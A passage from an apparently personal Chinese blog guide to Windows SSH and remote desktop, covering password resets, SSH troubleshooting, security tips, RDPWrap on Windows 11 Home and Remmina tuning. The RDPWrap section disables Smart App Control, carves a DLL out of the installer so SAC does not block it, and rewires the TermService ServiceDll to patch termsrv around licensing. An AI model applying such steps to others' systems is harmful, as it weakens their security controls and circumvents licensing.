&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;示例：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cmd&quot; class=&quot;language-cmd &quot;&gt;&lt;code class=&quot;language-cmd&quot; data-lang=&quot;cmd&quot;&gt;net user peter NewP@ssw0rd2026!
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;交互式输入，避免密码出现在命令历史中：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cmd&quot; class=&quot;language-cmd &quot;&gt;&lt;code class=&quot;language-cmd&quot; data-lang=&quot;cmd&quot;&gt;net user peter *
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;系统会提示输入两次密码。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;8-2-shi-yong-powershell-set-localuser&quot;&gt;8.2 使用 PowerShell Set-LocalUser&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;powershell&quot; class=&quot;language-powershell &quot;&gt;&lt;code class=&quot;language-powershell&quot; data-lang=&quot;powershell&quot;&gt;Set-LocalUser -Name &amp;quot;peter&amp;quot; -Password (ConvertTo-SecureString &amp;quot;NewP@ssw0rd2026!&amp;quot; -AsPlainText -Force)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;8-3-tu-xing-jie-mian&quot;&gt;8.3 图形界面&lt;&#x2F;h3&gt;
&lt;p&gt;如果能通过远程桌面连接：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;按 &lt;code&gt;Win + R&lt;&#x2F;code&gt;，输入 &lt;code&gt;control&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;进入「用户账户」→「管理其他账户」。&lt;&#x2F;li&gt;
&lt;li&gt;选择目标账户，点击「更改密码」。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;注意：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;执行修改密码命令的 SSH 会话必须具备管理员权限。&lt;&#x2F;li&gt;
&lt;li&gt;修改后立即生效，无需重启系统或 sshd。&lt;&#x2F;li&gt;
&lt;li&gt;新密码需要符合系统密码策略要求。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;9-chang-jian-wen-ti-pai-cha&quot;&gt;9. 常见问题排查&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;9-1-new-netfirewallrule-bao-cuo-wen-jian-yi-cun-zai&quot;&gt;9.1 New-NetFirewallRule 报错&quot;文件已存在&quot;&lt;&#x2F;h3&gt;
&lt;p&gt;说明规则已经存在。使用：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;powershell&quot; class=&quot;language-powershell &quot;&gt;&lt;code class=&quot;language-powershell&quot; data-lang=&quot;powershell&quot;&gt;Get-NetFirewallRule -Name &amp;#x27;OpenSSH-Server-In-TCP&amp;#x27;
Set-NetFirewallRule -Name &amp;#x27;OpenSSH-Server-In-TCP&amp;#x27; -Enabled True
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;9-2-ssh-deng-lu-ti-shi-permission-denied&quot;&gt;9.2 SSH 登录提示 Permission denied&lt;&#x2F;h3&gt;
&lt;p&gt;可能原因：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;使用的是 PIN，而不是账户密码。&lt;&#x2F;li&gt;
&lt;li&gt;Microsoft 账户需要在线密码。&lt;&#x2F;li&gt;
&lt;li&gt;公钥未放到正确位置。&lt;&#x2F;li&gt;
&lt;li&gt;管理员公钥未放到 &lt;code&gt;administrators_authorized_keys&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;文件权限不正确。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;查看日志：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;C:\ProgramData\ssh\logs\sshd.log
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;9-3-zhi-zhi-dao-pin-bu-zhi-dao-mi-ma&quot;&gt;9.3 只知道 PIN，不知道密码&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;关闭&quot;仅允许 Windows Hello 登录&quot;。&lt;&#x2F;li&gt;
&lt;li&gt;设置或重置 Microsoft 账户在线密码。&lt;&#x2F;li&gt;
&lt;li&gt;或改用 SSH 公钥认证。&lt;&#x2F;li&gt;
&lt;li&gt;或创建专用本地用户。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;9-4-sudo-bei-jin-yong&quot;&gt;9.4 sudo 被禁用&lt;&#x2F;h3&gt;
&lt;p&gt;Windows 默认禁用 sudo。可在 Windows 11 开发者设置中启用，但 SSH 中可能受 UAC 限制。更推荐使用专用管理员 SSH 账户。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;9-5-deng-lu-hou-mo-ren-shi-cmd&quot;&gt;9.5 登录后默认是 cmd&lt;&#x2F;h3&gt;
&lt;p&gt;这是正常默认行为。可通过注册表 &lt;code&gt;DefaultShell&lt;&#x2F;code&gt; 改为 PowerShell。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;9-6-cuo-wu-dai-ma-1326&quot;&gt;9.6 错误代码 1326&lt;&#x2F;h3&gt;
&lt;p&gt;常见于 Microsoft 账户认证失败。可尝试关闭 Windows Hello 限制，或改用本地账户 &#x2F; 公钥认证。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;9-7-ben-di-yong-hu-neng-fou-zheng-chang-ben-di-deng-lu&quot;&gt;9.7 本地用户能否正常本地登录&lt;&#x2F;h3&gt;
&lt;p&gt;可以。使用 &lt;code&gt;net user&lt;&#x2F;code&gt; 创建的本地用户默认属于 Users 组，拥有本地登录权限。在登录界面选择&quot;其他用户&quot;，输入 &lt;code&gt;电脑名\用户名&lt;&#x2F;code&gt; 和密码即可登录。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;9-8-microsoft-zhang-hu-diu-shi-hou-ben-di-yong-hu-huan-neng-yong-ma&quot;&gt;9.8 Microsoft 账户丢失后本地用户还能用吗&lt;&#x2F;h3&gt;
&lt;p&gt;可以。本地账户的验证完全在本地进行，不依赖 Microsoft 在线账户。在线账户丢失不影响本地用户的本地登录、SSH 登录和日常使用。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;10-an-quan-jian-yi&quot;&gt;10. 安全建议&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;优先使用 SSH 公钥认证，而不是密码登录。&lt;&#x2F;li&gt;
&lt;li&gt;不要长期启用内置 Administrator 账户。&lt;&#x2F;li&gt;
&lt;li&gt;创建专用本地管理员账户用于 SSH 管理。&lt;&#x2F;li&gt;
&lt;li&gt;公钥文件权限必须严格限制。&lt;&#x2F;li&gt;
&lt;li&gt;ICMP 放行尽量限定来源 IP。&lt;&#x2F;li&gt;
&lt;li&gt;定期查看 SSH 日志。&lt;&#x2F;li&gt;
&lt;li&gt;公网环境不要直接暴露 22 端口，建议修改端口或使用跳板机、VPN。&lt;&#x2F;li&gt;
&lt;li&gt;定期更新 Windows 和 OpenSSH。&lt;&#x2F;li&gt;
&lt;li&gt;为本地管理员账户设置强密码，并妥善保存。&lt;&#x2F;li&gt;
&lt;li&gt;如果使用 BitLocker，确保恢复密钥有额外备份，不要只依赖 Microsoft 账户。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;11-jin-jie-jia-ting-ban-kai-qi-yuan-cheng-zhuo-mian-rdpwrap-shi-zhan&quot;&gt;11. 进阶：家庭版开启远程桌面（RDPWrap 实战）&lt;&#x2F;h2&gt;
&lt;p&gt;需求：Windows 11 家庭中文版（&lt;code&gt;EditionID = CoreCountrySpecific&lt;&#x2F;code&gt;）通过 SSH 开启原生 RDP 服务。家庭版&lt;strong&gt;没有 RDP 服务端&lt;&#x2F;strong&gt;，这是功能阉割不是配置问题——&lt;code&gt;TermService&lt;&#x2F;code&gt; 服务存在、&lt;code&gt;fDenyTSConnections&lt;&#x2F;code&gt; 注册表键也在，但 termsrv 有版本许可检查，改键也拒绝连接。免升级的专业版解锁方案是 RDPWrap。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;11-1-ban-ben-pan-ding-kan-termsrv-dll-er-bu-shi-os-build&quot;&gt;11.1 版本判定：看 termsrv.dll 而不是 OS build&lt;&#x2F;h3&gt;
&lt;p&gt;RDPWrap 按 &lt;code&gt;termsrv.dll&lt;&#x2F;code&gt; 的&lt;strong&gt;文件版本精确匹配&lt;&#x2F;strong&gt; ini 配置段，这里有两个极易踩的坑：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;OS build ≠ dll build&lt;&#x2F;strong&gt;。Windows 11 25H2 是 enablement 升级包，OS 显示 26200.x，但很多系统 DLL 仍在 26100 分支。实测一台 25H2（OS 26200.9168）的 &lt;code&gt;termsrv.dll&lt;&#x2F;code&gt; 是 10.0.26100.8972——按 OS build 去搜 ini 会搜错方向。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;字符串属性会骗人&lt;&#x2F;strong&gt;。&lt;code&gt;(Get-Item C:\Windows\System32\termsrv.dll).VersionInfo.FileVersion&lt;&#x2F;code&gt; 返回的字符串显示 26100.8875，但 &lt;code&gt;FileVersionRaw&lt;&#x2F;code&gt; 才是 RDPWrap 实际读取的字段：&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;powershell&quot; class=&quot;language-powershell &quot;&gt;&lt;code class=&quot;language-powershell&quot; data-lang=&quot;powershell&quot;&gt;(Get-Item C:\Windows\System32\termsrv.dll).VersionInfo.FileVersionRaw
# Major  Minor  Build  Revision
# 10    0      26100  8972
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;ini 用社区持续维护的版本（官方 stascorp 仓库 2017 年就停更了）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;sebaxakerhtc&amp;#x2F;rdpwrap.ini
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;下载后 &lt;code&gt;Select-String -Pattern &#x27;^\[10\.0\.26100\.8972\]&#x27;&lt;&#x2F;code&gt; 确认有对应段再继续。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;11-2-smart-app-control-win11-24h2-de-tou-hao-lan-lu-hu&quot;&gt;11.2 Smart App Control：Win11 24H2+ 的头号拦路虎&lt;&#x2F;h3&gt;
&lt;p&gt;新版 Windows 出厂默认开启 SAC 评估模式（&lt;code&gt;VerifiedAndReputablePolicyState=1&lt;&#x2F;code&gt;），基于云信誉拦截&quot;无签名无信誉&quot;的程序。RDPWInst.exe（2017 年的老 exe）必被拦，症状很有迷惑性：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;cmd 执行报「系统无法执行指定的程序」，无任何其他输出；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;[System.Reflection.Assembly]::LoadFile()&lt;&#x2F;code&gt; 也失败，HRESULT &lt;code&gt;0x800711CD&lt;&#x2F;code&gt;（应用程序控制策略阻止）——不只是拦进程执行；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;连 DLL 加载都拦&lt;&#x2F;strong&gt;：把 &lt;code&gt;TermService&lt;&#x2F;code&gt; 的 &lt;code&gt;ServiceDll&lt;&#x2F;code&gt; 换成未签名的 rdpwrap.dll 后，服务 7023 报「应用程序控制策略阻止了文件」。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;实锤方法看 CodeIntegrity 事件日志：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;powershell&quot; class=&quot;language-powershell &quot;&gt;&lt;code class=&quot;language-powershell&quot; data-lang=&quot;powershell&quot;&gt;Get-WinEvent -LogName &amp;#x27;Microsoft-Windows-CodeIntegrity&amp;#x2F;Operational&amp;#x27; -MaxEvents 10
# 事件 3077&amp;#x2F;3033: ... did not meet the Enterprise signing level requirements
# 事件 3118: Smart App Control Block
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;排除法过程记录（都不是原因，但值得知道）：MOTW 标记（&lt;code&gt;Get-Item -Stream Zone.Identifier&lt;&#x2F;code&gt;，curl.exe 下载的文件本来就不带）、Defender 拦截（&lt;code&gt;Get-MpThreat&lt;&#x2F;code&gt; 为空）、WOW64（32 位 exe，&lt;code&gt;SysWOW64\cmd.exe&lt;&#x2F;code&gt; 能跑）、.NET 运行库（4.8 在、3.5 也装了）。&lt;&#x2F;p&gt;
&lt;p&gt;关闭 SAC（&lt;strong&gt;不可逆&lt;&#x2F;strong&gt;，重装系统才能再开，个人桌面跑社区工具的标准前提）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;powershell&quot; class=&quot;language-powershell &quot;&gt;&lt;code class=&quot;language-powershell&quot; data-lang=&quot;powershell&quot;&gt;Set-ItemProperty &amp;#x27;HKLM:\SYSTEM\CurrentControlSet\Control\CI\Policy&amp;#x27; `
  -Name VerifiedAndReputablePolicyState -Value 0 -Type DWord
Restart-Computer -Force   # 必须重启才生效，重启服务无效
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;11-3-guan-sac-qian-de-an-zhuang-lu-jing-cong-an-zhuang-qi-li-diao-ke-chu-rdpwrap-dll&quot;&gt;11.3 关 SAC 前的安装路径：从安装器里&quot;雕刻&quot;出 rdpwrap.dll&lt;&#x2F;h3&gt;
&lt;p&gt;若不想关 SAC，还有一条硬核路：SAC 拦的是&lt;strong&gt;执行&lt;&#x2F;strong&gt;，纯文件读写不受影响。而官方安装包 RDPWInst.exe 里以资源形式内嵌了所有需要的 DLL（rdpwrap.dll x86&#x2F;x64、rdpclip、RfxVmt.dll），可以用 PowerShell 按 PE 结构手工提取（官方 GitHub Release 是 &lt;code&gt;RDPWrap-v1.6.2.zip&lt;&#x2F;code&gt;，注意老的 &lt;code&gt;RDPWInst.zip&lt;&#x2F;code&gt; 路径已 404）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;powershell&quot; class=&quot;language-powershell &quot;&gt;&lt;code class=&quot;language-powershell&quot; data-lang=&quot;powershell&quot;&gt;$b = [IO.File]::ReadAllBytes(&amp;#x27;C:\Users\你的用户名\rdpwrap\RDPWInst.exe&amp;#x27;)

# 扫描所有内嵌 PE：MZ 头 + e_lfanew 指向合法 PE 签名
for ($i = 0; $i -lt $b.Length - 0x40; $i++) {
    if ($b[$i] -eq 0x4D -and $b[$i+1] -eq 0x5A) {
        $pe = [BitConverter]::ToInt32($b, $i + 0x3C)
        if ($pe -gt 0 -and $pe -lt 0x400 -and
            $b[$i+$pe] -eq 0x50 -and $b[$i+$pe+1] -eq 0x45) {
            $mach = [BitConverter]::ToUInt16($b, $i + $pe + 4)
            Write-Output (&amp;quot;MZ at {0} machine 0x{1:X4}&amp;quot; -f $i, $mach)
        }
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;得到一串内嵌 PE 后按特征识别：&lt;code&gt;machine=0x8664&lt;&#x2F;code&gt; 的是 x64，其中内含 &lt;code&gt;ServiceMain&lt;&#x2F;code&gt; 字样、无 &lt;code&gt;.pdb&lt;&#x2F;code&gt; 调试路径的 116736 字节那块就是 &lt;strong&gt;rdpwrap.dll&lt;&#x2F;strong&gt;（有 &lt;code&gt;rdpclip.pdb&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;RfxVmt.pdb&lt;&#x2F;code&gt; 字样的是另两个）。按节表计算精确长度后 carve 出来：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;powershell&quot; class=&quot;language-powershell &quot;&gt;&lt;code class=&quot;language-powershell&quot; data-lang=&quot;powershell&quot;&gt;$dll = New-Object byte[] 116736
[Array]::Copy($b, 1271752, $dll, 0, 116736)   # 偏移&amp;#x2F;长度按实际扫描结果
[IO.File]::WriteAllBytes(&amp;#x27;C:\Users\你的用户名\rdpwrap\rdpwrap.dll&amp;#x27;, $dll)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;家庭版通常还缺 &lt;code&gt;RfxVmt.dll&lt;&#x2F;code&gt;（远程会话虚拟通道组件，同样内嵌在安装器里），一并提取备用。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;11-4-shou-gong-an-zhuang-zhu-ce-biao-jie-xian-wu-bu&quot;&gt;11.4 手工安装：注册表接线五步&lt;&#x2F;h3&gt;
&lt;p&gt;关掉 SAC 并重启后（或直接用官方安装器 &lt;code&gt;RDPWInst.exe -i&lt;&#x2F;code&gt;，把新 ini 放同目录），手工安装的完整步骤：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;powershell&quot; class=&quot;language-powershell &quot;&gt;&lt;code class=&quot;language-powershell&quot; data-lang=&quot;powershell&quot;&gt;# 1. 就位文件（ini 与 dll 同目录）
New-Item -Path &amp;#x27;C:\Program Files\RDP Wrapper&amp;#x27; -ItemType Directory -Force
Copy-Item C:\Users\你的用户名\rdpwrap\rdpwrap.dll &amp;#x27;C:\Program Files\RDP Wrapper\&amp;#x27;
Copy-Item C:\Users\你的用户名\rdpwrap\rdpwrap.ini &amp;#x27;C:\Program Files\RDP Wrapper\&amp;#x27;
Copy-Item C:\Users\你的用户名\rdpwrap\RfxVmt.dll C:\Windows\System32\   # 家庭版缺失时

# 2. 核心接线：让 svchost 加载 rdpwrap.dll（它再加载真 termsrv.dll 并内存补丁）
Set-ItemProperty &amp;#x27;HKLM:\SYSTEM\CurrentControlSet\Services\TermService\Parameters&amp;#x27; `
  -Name ServiceDll -Value &amp;#x27;C:\Program Files\RDP Wrapper\rdpwrap.dll&amp;#x27;

# 3. 放开远程连接总开关
Set-ItemProperty &amp;#x27;HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server&amp;#x27; `
  -Name fDenyTSConnections -Value 0

# 4. 防火墙放行 3389（TCP+UDP）
netsh advfirewall firewall add rule name=&amp;quot;RDPWrap-TCP-3389&amp;quot; dir=in action=allow protocol=TCP localport=3389
netsh advfirewall firewall add rule name=&amp;quot;RDPWrap-UDP-3389&amp;quot; dir=in action=allow protocol=UDP localport=3389

# 5. 重启服务并验证
Restart-Service TermService -Force
netstat -ano | Select-String &amp;#x27;:3389&amp;#x27;   # 应看到 LISTENING
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;端到端验证技巧&lt;&#x2F;strong&gt;：不需要真实登录，用假凭据做一次 NLA 探测——错误码是 &lt;code&gt;LOGON_FAILURE&lt;&#x2F;code&gt;（凭据被真实校验后拒绝）就证明 TLS + CredSSP + 补丁后的 termsrv 全链路正常；若是协议层错误才是真有问题：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;xfreerdp &amp;#x2F;v:Windows主机IP &amp;#x2F;u:probe &amp;#x2F;p:wrong &amp;#x2F;cert:ignore &amp;#x2F;auth-only &amp;#x2F;sec:nla
# ERRCONNECT_LOGON_FAILURE = 栈正常，只是密码错 —— 预期结果
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;11-5-chang-qi-wei-hu-yu-xie-zai&quot;&gt;11.5 长期维护与卸载&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Windows 大更新后 RDP 突然连不上&lt;&#x2F;strong&gt;：多半是累积更新把 &lt;code&gt;termsrv.dll&lt;&#x2F;code&gt; 升到了 ini 没有的修订号。重新下载 sebaxakerhtc 的最新 ini 覆盖 &lt;code&gt;C:\Program Files\RDP Wrapper\rdpwrap.ini&lt;&#x2F;code&gt;，&lt;code&gt;Restart-Service TermService&lt;&#x2F;code&gt; 即可。先查 &lt;code&gt;FileVersionRaw&lt;&#x2F;code&gt; 再去 ini 里找段，思路同 11.1。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;卸载&lt;&#x2F;strong&gt;：把 &lt;code&gt;ServiceDll&lt;&#x2F;code&gt; 改回 &lt;code&gt;C:\Windows\System32\termsrv.dll&lt;&#x2F;code&gt;，删除 &lt;code&gt;C:\Program Files\RDP Wrapper\&lt;&#x2F;code&gt;，重启 TermService。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;会话机制备忘&lt;&#x2F;strong&gt;：RDP 登录创建的是独立会话，远程接入时物理屏幕会切到锁屏（控制台用户的程序仍在后台，断开远程后解锁即回）。想「远程操作、本地围观」的同屏演示场景，RDP 做不到（shadow 模式 Linux 客户端基本无支持），需要 RustDesk 这类共享同一会话的远程协助工具。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;12-linux-ke-hu-duan-remmina-hei-bei-jing-yu-qing-xi-du-diao-you&quot;&gt;12. Linux 客户端（Remmina）黑背景与清晰度调优&lt;&#x2F;h2&gt;
&lt;p&gt;RDP 通了只是第一步，Remmina 默认配置连上去是「小窗 + 黑背景 + 文字发虚」三连，对应 profile（&lt;code&gt;~&#x2F;.local&#x2F;share&#x2F;remmina&#x2F;xxx.remmina&lt;&#x2F;code&gt;）里三个键：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;症状&lt;&#x2F;th&gt;&lt;th&gt;原因&lt;&#x2F;th&gt;&lt;th&gt;修复&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;窗口很小&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;resolution_mode=2&lt;&#x2F;code&gt; + 宽高为 0，回落到默认小分辨率&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;resolution_mode=1&lt;&#x2F;code&gt;（跟随本地屏幕）或设固定宽高&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;背景纯黑&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;quality=0&lt;&#x2F;code&gt;（Poor 档）为省带宽主动剥离壁纸&#x2F;主题&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;quality=9&lt;&#x2F;code&gt;（Best 档）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;文字发虚&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;colordepth=99&lt;&#x2F;code&gt; 是 GFX AVC444（H.264 有损编码）&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;colordepth=32&lt;&#x2F;code&gt;（无损位图）+ &lt;code&gt;viewmode=4&lt;&#x2F;code&gt;（全屏 1:1）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;改完必须断开重连（RDP 分辨率与编码在会话建立时协商）。全屏模式下鼠标移到屏幕顶部中央可呼出 Remmina 工具条退出全屏。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;12-1-ru-he-ke-guan-yan-zheng-dao-di-hu-bu-hu&quot;&gt;12.1 如何客观验证「到底糊不糊」&lt;&#x2F;h3&gt;
&lt;p&gt;感知不可靠时，两个可复现的诊断手段：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;一、从客户端往 RDP 会话内注入探针&lt;&#x2F;strong&gt;——SSH 在 Windows 上跑的进程不在 RDP 会话里，直接查分辨率查到的是控制台会话；用交互式计划任务把探针打进会话内部：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;powershell&quot; class=&quot;language-powershell &quot;&gt;&lt;code class=&quot;language-powershell&quot; data-lang=&quot;powershell&quot;&gt;# 探针脚本: 输出会话 ID、屏幕尺寸、DPI、ClearType 状态
schtasks &amp;#x2F;create &amp;#x2F;tn RDPProbe &amp;#x2F;it &amp;#x2F;ru 用户名 &amp;#x2F;sc once &amp;#x2F;st 23:59 `
  &amp;#x2F;tr &amp;#x27;powershell -ExecutionPolicy Bypass -File C:\Users\用户名\probe.ps1&amp;#x27; &amp;#x2F;f
schtasks &amp;#x2F;run &amp;#x2F;tn RDPProbe
Get-Content C:\Users\用户名\probe.txt
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;powershell&quot; class=&quot;language-powershell &quot;&gt;&lt;code class=&quot;language-powershell&quot; data-lang=&quot;powershell&quot;&gt;# probe.ps1 内容
Add-Type -AssemblyName System.Windows.Forms, System.Drawing
&amp;quot;session: $([Diagnostics.Process]::GetCurrentProcess().SessionId)&amp;quot;
[System.Windows.Forms.Screen]::AllScreens | % { &amp;quot;screen: $($_.Bounds)&amp;quot; }
$g = [Drawing.Graphics]::FromHwnd([IntPtr]::Zero); &amp;quot;dpi: $($g.DpiX)&amp;quot;
&amp;quot;fontSmoothing: $((Get-ItemProperty &amp;#x27;HKCU:\Control Panel\Desktop&amp;#x27;).FontSmoothing)&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;预期健康值：屏幕尺寸 = 本地显示器原生分辨率、dpi 96（100%）、fontSmoothing 2（ClearType 开）。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;二、截图做像素级测量&lt;&#x2F;strong&gt;——GNOME Wayland 下 CLI 截屏走 xdg-desktop-portal（&lt;code&gt;org.freedesktop.portal.Desktop&lt;&#x2F;code&gt; 的 &lt;code&gt;Screenshot&lt;&#x2F;code&gt; 方法，会弹一次用户确认框），拿到截屏后用拉普拉斯高频能量对比、并检查 1px UI 线（任务栏边缘）是否仍是单像素：若 80% 强边缘保持 1px 锐利，说明客户端无缩放重采样、像素严格对齐，模糊感另有原因。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;12-2-diao-you-shang-xian-de-cheng-shi-jie-lun&quot;&gt;12.2 调优上限的诚实结论&lt;&#x2F;h3&gt;
&lt;p&gt;无损 32bpp + 分辨率 1:1 + 全屏 + ClearType 开启，就是 RDP 的画质上限。剩余与「坐在实体机前」的观感差来自远端会话光栅化时的次像素排列&#x2F;伽马假设与物理面板出厂校准不一致，属于协议固有特性（微软官方 mstsc 客户端同样存在），无法靠配置消除。缓解手段：在远程会话里 &lt;code&gt;Win+R&lt;&#x2F;code&gt; 运行 &lt;code&gt;cttune&lt;&#x2F;code&gt; 重新走一遍 ClearType 调谐向导。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;13-zong-jie&quot;&gt;13. 总结&lt;&#x2F;h2&gt;
&lt;p&gt;Windows 开启 SSH Server 有两条主要路线：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Windows 原生 OpenSSH Server&lt;&#x2F;strong&gt;：安装简单，适合远程管理 Windows 本身。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;WSL 中开启 SSH Server&lt;&#x2F;strong&gt;：适合 Linux 开发环境，但需要处理端口转发和网络模式。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;远程桌面方面：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;专业版&lt;&#x2F;strong&gt;直接开系统设置里的远程桌面即可；&lt;strong&gt;家庭版&lt;&#x2F;strong&gt;没有 RDP 服务端，RDPWrap 可以免升级解锁，但 Win11 24H2+ 需先关闭 Smart App Control（不可逆），且 Windows 大更新后可能需要更新 ini。&lt;&#x2F;li&gt;
&lt;li&gt;Linux 客户端 Remmina 的推荐配置：&lt;code&gt;resolution_mode=1&lt;&#x2F;code&gt;（跟随本地屏幕）、&lt;code&gt;quality=9&lt;&#x2F;code&gt;（恢复壁纸）、&lt;code&gt;colordepth=32&lt;&#x2F;code&gt;（无损）、&lt;code&gt;viewmode=4&lt;&#x2F;code&gt;（全屏 1:1）。无损 + 1:1 已是 RDP 画质上限，剩余观感差是协议固有特性。&lt;&#x2F;li&gt;
&lt;li&gt;需要「远程操作、本地围观」的同屏演示场景，RDP 会话隔离机制做不了，用 RustDesk 类工具。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;登录时，SSH 使用的是 Windows 账户凭据：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;本地账户：使用本地密码。&lt;&#x2F;li&gt;
&lt;li&gt;Microsoft 账户：使用在线密码，不是 PIN。&lt;&#x2F;li&gt;
&lt;li&gt;管理员账户：公钥要放到 &lt;code&gt;administrators_authorized_keys&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;如果长期使用 SSH 管理，推荐：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;创建专用本地管理员账户。&lt;&#x2F;li&gt;
&lt;li&gt;配置 SSH 公钥认证。&lt;&#x2F;li&gt;
&lt;li&gt;修改默认 Shell 为 PowerShell。&lt;&#x2F;li&gt;
&lt;li&gt;按需放行 ICMP。&lt;&#x2F;li&gt;
&lt;li&gt;禁用内置 Administrator，降低风险。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
